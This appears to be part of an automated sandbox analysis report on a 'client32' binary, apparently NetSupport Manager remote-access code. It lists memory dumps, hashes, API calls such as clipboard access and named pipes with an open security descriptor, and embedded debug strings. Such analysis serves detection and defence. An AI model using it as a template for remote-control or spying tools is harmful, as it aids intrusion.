Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: 95a5e058e09bcf8e7623232769a0b42c4f024ae326205fc4421f838046d8c4cc
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: 8BC09B3705810D7F5F055DE5EC00C557F5DD6807787144115F91C89491DD73E561D944

Function 1116067B Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11160688

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 517f4e7488fa791e0cd8e65386a1f1fc6d78c1b53c40f77729b33bd043c5d072
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: D3C09B7644020C77CF111952DC11E457F2D97C0664F044010FB1C1D1609773F571D685

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,004010A8,00000000), ref: 0040100A

Memory Dump Source

Source File: 00000007.00000002.4604282133.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4604249283.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.4604305326.0000000000403000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.4604329993.0000000000404000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_client32.jbxd

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: a50aadacad94cde84f5700121068934964b21678fd47baf16d7368d0ca4f48de
Instruction ID: 101b8ead0f36abaf2e4a9e5d6dc85a2691bea7164fd7fac6f3abc260b8d29af7
Opcode Fuzzy Hash: a50aadacad94cde84f5700121068934964b21678fd47baf16d7368d0ca4f48de
Instruction Fuzzy Hash: 85B012B91043406FC104DB10C880D2B73A8BBC4300F008D0DB4D142181C734D800C632

Non-executed Functions

Function 1102D1B3 Relevance: 38.8, APIs: 14, Strings: 8, Instructions: 268COMMON

Download Yara Rule

APIs

Part of subcall function 1110CD20: DeleteCriticalSection.KERNEL32(76937AB0,8F98CBB2,?,76937AA0,00000000,?,00000000,1117DED8,000000FF,?,110BFC0D), ref: 1110CD6A
Part of subcall function 1110CD20: EnterCriticalSection.KERNEL32 ref: 1110CDB5
Part of subcall function 1110CD20: SetEvent.KERNEL32(0000026C), ref: 1110CDDE
Part of subcall function 1110CD20: CloseHandle.KERNEL32(0000026C), ref: 1110CE12
Part of subcall function 1110CD20: WaitForSingleObject.KERNEL32(00000290,000000FF), ref: 1110CE20
Part of subcall function 1110CD20: CloseHandle.KERNEL32(00000290), ref: 1110CE2D

CloseHandle.KERNEL32(0000028C), ref: 1102D275
_free.LIBCMT ref: 1102D285
_free.LIBCMT ref: 1102D2A1
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1102D334
GetFileAttributesA.KERNEL32(?), ref: 1102D341

Part of subcall function 1110CD20: LeaveCriticalSection.KERNEL32(111EB8A0), ref: 1110CE6E

Strings

CLIENT32.CPP, xrefs: 1102D3BF
*.*, xrefs: 1102D3D3
Stop tracing, almost terminated, xrefs: 1102D4E8
pSlash, xrefs: 1102D3C4
Finished terminate, xrefs: 1102D546
hg, xrefs: 1102D3BA
Error %s unloading audiocap dll, xrefs: 1102D2F6
delete gMain.ev, xrefs: 1102D242

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCriticalHandleSection$File_free$AttributesDeleteEnterEventLeaveModuleNameObjectSingleWait
String ID: *.*$CLIENT32.CPP$Error %s unloading audiocap dll$Finished terminate$Stop tracing, almost terminated$delete gMain.ev$hg$pSlash
API String ID: 3417509300-1831769269
Opcode ID: c25a59086cbf008bc35875251284dd8c96e3184dd2069db071d5eccb7eea4538
Instruction ID: 644e53087ecf41e8dc6bdf96785e57f0a5d4093e1a2e3be7ac375faac8544e6b
Opcode Fuzzy Hash: c25a59086cbf008bc35875251284dd8c96e3184dd2069db071d5eccb7eea4538
Instruction Fuzzy Hash: 6B91F474E016229FE701DFE4CCC5FADB7A5AB8530CF5041B9DA1597288EB70B984CB62

Function 1106F200 Relevance: 26.6, APIs: 10, Strings: 5, Instructions: 358sleepCOMMON

Download Yara Rule

APIs

CapiHangup.PCICAPI ref: 1106F47F
CapiClose.PCICAPI ref: 1106F484
CapiOpen.PCICAPI(00000000,00000000), ref: 1106F48D
CapiListen.PCICAPI(00000001,00000000,00000000,00000000), ref: 1106F49B
GetTickCount.KERNEL32 ref: 1106F52A
GetTickCount.KERNEL32 ref: 1106F532
CapiHangup.PCICAPI ref: 1106F5BF
Sleep.KERNEL32(00000064,?,?,?,?,?,?,?,?,?,?,?,?,?,000018BF,10000000), ref: 1106F5E9
GetTickCount.KERNEL32 ref: 1106F5EF
Sleep.KERNEL32(000003E8), ref: 1106F635

Strings

*MSN, xrefs: 1106F473
$DB, xrefs: 1106F57C
tapi, xrefs: 1106F4B3
..\ctl32\Connect.cpp, xrefs: 1106F4AE
Dialup, xrefs: 1106F478

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Capi$CountTick$HangupSleep$CloseListenOpen
String ID: $DB$*MSN$..\ctl32\Connect.cpp$Dialup$tapi
API String ID: 1585182496-2734021829
Opcode ID: a1bfeae140b9ea5eec6b7fc0c6ec204e8847b12d2fc883dc7bc0a054a569582f
Instruction ID: 3caf3c01b7fc6ee6abe901d80881ec7253840a1de47d47bcf81805af111e9df5
Opcode Fuzzy Hash: a1bfeae140b9ea5eec6b7fc0c6ec204e8847b12d2fc883dc7bc0a054a569582f
Instruction Fuzzy Hash: 89C10675E0021A9FE710DB74DC91B9DB3A8AF44318F5081B9E65D9B2C1DE71AE80CB92

Function 11025180 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 384windowtimeCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 11025317
DrawMenuBar.USER32(?), ref: 1102532E
GetMenu.USER32(?), ref: 11025383
DeleteMenu.USER32(00000000,00000001,00000400), ref: 11025391
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 110252EE

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

UpdateWindow.USER32(?), ref: 110253D7
IsIconic.USER32(?), ref: 110253EA
SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 1102540A
KillTimer.USER32(00000000,00000000,00000080,00000002), ref: 11025470

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110253C1
Chat, xrefs: 110251A8
..\ctl32\chatw.cpp, xrefs: 110251DA
m_hWnd, xrefs: 110253C6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$TimerWindow$DeleteDrawErrorExitIconicKillLastMessageProcessUpdatewsprintf
String ID: ..\ctl32\chatw.cpp$Chat$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3085788722-363603473
Opcode ID: 5fb8610bfd5d22ee40bc9c601c49c45be147adb3db9901554ffb9a12818aade2
Instruction ID: 3dddb363893b2c3b3c20fd1aaa85f6df2e008fd10312b2247e7433f8aa0d4f0d
Opcode Fuzzy Hash: 5fb8610bfd5d22ee40bc9c601c49c45be147adb3db9901554ffb9a12818aade2
Instruction Fuzzy Hash: 93D1BC74B40702ABEB10DB64CC95FAEB3A5BF88708F104518F6129B3C1DAB6F941CB95

Function 1103B170 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 189COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1103B256
_free.LIBCMT ref: 1103B350

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

Part of subcall function 110CC930: FindResourceExA.KERNEL32(00000000,00000005,?,00000000), ref: 110CC9B5
Part of subcall function 110CC930: LoadResource.KERNEL32(00000000,00000000), ref: 110CC9E4
Part of subcall function 110CC930: LockResource.KERNEL32(00000000), ref: 110CCA08
Part of subcall function 110CC930: CreateDialogIndirectParamA.USER32(00000000,00000000,1112A989,110CACA0,00000000), ref: 110CCA39
Part of subcall function 110CC930: CreateDialogIndirectParamA.USER32(00000000,00000000,1112A989,110CACA0,00000000), ref: 110CCA54
Part of subcall function 110CC930: GetLastError.KERNEL32 ref: 110CCA79

_calloc.LIBCMT ref: 1103B365
_free.LIBCMT ref: 1103B3A0

Strings

CLTCONN.CPP, xrefs: 1103B269, 1103B378
GetName, xrefs: 1103B1E6
, xrefs: 1103B2EA
DoUserLogin, xrefs: 1103B19E
u, xrefs: 1103B1B6
Get login name. Check if logged in, xrefs: 1103B27E
Not logged in!, xrefs: 1103B2B5
Login name %s, xrefs: 1103B319

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Resource$CreateDialogIndirectParam_calloc_free$ErrorFindLastLoadLock_malloc_memsetwsprintf
String ID: $CLTCONN.CPP$DoUserLogin$Get login name. Check if logged in$GetName$Login name %s$Not logged in!$u
API String ID: 2195741704-1552251038
Opcode ID: 0d09e72ed4e381eea1d58ce8612c0991bc66c71c0b98a730b8f46e1d7eaa0c65
Instruction ID: 71d1f455c920dbce3c56901a9ae18676288f8ce277f8d36e9842caba20dc6d47
Opcode Fuzzy Hash: 0d09e72ed4e381eea1d58ce8612c0991bc66c71c0b98a730b8f46e1d7eaa0c65
Instruction Fuzzy Hash: E961D374E51A26AFE700DFA0DCC1FADF3A4AF8470DF104269E9255B2C0EB71A940C792

Function 110F1070 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 79pipesleepmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F107C
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F10A5
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F10B2
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F10E3
GetLastError.KERNEL32 ref: 110F10F0
Sleep.KERNEL32(000003E8), ref: 110F110F
CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F112E
LocalFree.KERNEL32(?), ref: 110F113F

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

pSD, xrefs: 110F1095
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 110F1090
CreateNamedPipe %s failed, error %d, xrefs: 110F10F8

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateDescriptorErrorLastLocalNamedPipeSecurity$AllocDaclExitFreeInitializeMessageProcessSleepwsprintf
String ID: CreateNamedPipe %s failed, error %d$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$pSD
API String ID: 3134831419-838605531
Opcode ID: 1a59abb48870eaa2c0ba82d72753d86bbeb346e76cbcd32f42cd91c8e312ecda
Instruction ID: 752bcfdc7bfa2ce5ac112ecb1aa52883818b2e2afa73f6025012818006a920aa
Opcode Fuzzy Hash: 1a59abb48870eaa2c0ba82d72753d86bbeb346e76cbcd32f42cd91c8e312ecda
Instruction Fuzzy Hash: C321C575E40326BBE7219B54CC8AFAEBB7CEB48B19F004215FF25A71C0D6B1190187A1

Function 1115B090 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 440COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 1115B0D6
RemovePropA.USER32(?), ref: 1115B0F5
RemovePropA.USER32(?), ref: 1115B104
RemovePropA.USER32(?,00000000), ref: 1115B113

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

CallWindowProcA.USER32(?,?,?,?,?), ref: 1115B46A

Strings

..\ctl32\wndclass.cpp, xrefs: 1115B0A8
old_wndproc, xrefs: 1115B0AD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: PropRemove$Window$CallErrorExitLastLongMessageProcProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$old_wndproc
API String ID: 1777853711-3305400014
Opcode ID: 24bccf16e5b8e6f81f3d1228e7bc0ff3a9f777b6ad933c1d48d4292fd1923261
Instruction ID: 6b2710322754dfe427144b4c390b11e4b235df56b16200b5652f122aecd5176b
Opcode Fuzzy Hash: 24bccf16e5b8e6f81f3d1228e7bc0ff3a9f777b6ad933c1d48d4292fd1923261
Instruction Fuzzy Hash: D3C16CB53041199FD748CE69E890E7BB3EAFBC9311B10466EF956C3781DA31AC118BB1

Function 1101F350 Relevance: 15.1, APIs: 10, Instructions: 54clipboardmemorywindowCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 1101F377
GlobalAlloc.KERNEL32(00002002,00000002), ref: 1101F387
GlobalLock.KERNEL32(00000000), ref: 1101F390
_memmove.LIBCMT ref: 1101F399
GlobalUnlock.KERNEL32(00000000), ref: 1101F3A2
EmptyClipboard.USER32 ref: 1101F3A8
SetClipboardData.USER32(00000001,00000000), ref: 1101F3B1
GlobalFree.KERNEL32(00000000), ref: 1101F3BC
MessageBeep.USER32(00000030), ref: 1101F3C4
CloseClipboard.USER32 ref: 1101F3CA

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocBeepCloseDataEmptyFreeLockMessageOpenUnlock_memmove
String ID:
API String ID: 3255624709-0
Opcode ID: c9582f979c3e265c988eec42c23ee56e629289ee2f29a5aa3fd2d39dc3f2683e
Instruction ID: 0d0df8d60200a9d3f7e537871dcc52709318cdb71fa4a94b60cc676f4ed87b65
Opcode Fuzzy Hash: c9582f979c3e265c988eec42c23ee56e629289ee2f29a5aa3fd2d39dc3f2683e
Instruction Fuzzy Hash: 7801B5769011236BE3026BB48C8CE6FBBACDF9535D704C07AF626C6109EBB4C8058763

Function 11157550 Relevance: 13.6, APIs: 9, Instructions: 125windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1113F170: _memset.LIBCMT ref: 1113F199
Part of subcall function 1113F170: GetVersionExA.KERNEL32(?), ref: 1113F1B2

_memset.LIBCMT ref: 111575E6
SendMessageA.USER32(?,000005FF,00000000,00000000), ref: 1115761C
ShowWindow.USER32(?,00000006,?,?,?,?,?), ref: 1115762C
GetDesktopWindow.USER32 ref: 11157689
TileWindows.USER32(00000000,?,?,?,?), ref: 11157690

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

